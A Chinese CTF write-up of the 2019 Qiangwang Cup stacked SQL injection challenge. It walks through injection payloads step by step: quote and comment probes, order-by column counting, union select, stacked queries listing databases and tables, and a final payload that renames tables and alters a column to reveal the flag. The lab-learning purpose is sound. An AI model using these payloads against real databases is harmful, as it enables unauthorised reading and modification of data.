因为最讨厌SQL注入类的题目,所以就打算搞个SQL注入专题慢慢更,记录一下自己忍着恶心(bushi)做的相关题目哈哈哈哈

强网杯 2019 随便注(堆叠)

image-20220903141813715

Step1.判断是否存在注入,注入是字符型还是数字型

1'    
1'--+    //报错
1'#
1'--(空格)    //回显正常

判断应该存在SQL注入(这里的--(空格)、--+、#都是用来注释掉后面的SQL语句)

1' or 1=1          //报错
1' or '1'='1       //正常回显,并且输出

image-20220903142648268

是字符型

Step2.判断存在字段数

1' order by 1#     //正常回显
1' order by 2#     //正常回显
1' order by 3#     //报错

image-20220903143155957

存在两个字段

Step3.查看字段内容

1' union select 1,2#

image-20220903143612804

这题很善良直接告诉我们所有被正则过滤的字符,不需要一个个试过去,直接试堆叠

Step4.查看数据库

1';show databases;#     //正常回显

image-20220903144031077

确认是堆叠注入

Step5.查看数据表

1';show tables;#       //正常回显

image-20220903144405024

得到两个表flagg和words

Step6.查看字段值

1'; show columns from `words`; #   //没什么有用的东西

image-20220903150322807

1'; show columns from `flagg`; #

image-20220903151031432

接下来就是如何获取flag了
思路是把flagg表改名为words表,把属性名flag改为id

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `flagg` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;# //正常回显
1' or '1'='1    或者   1' or 1=1#    //回显flag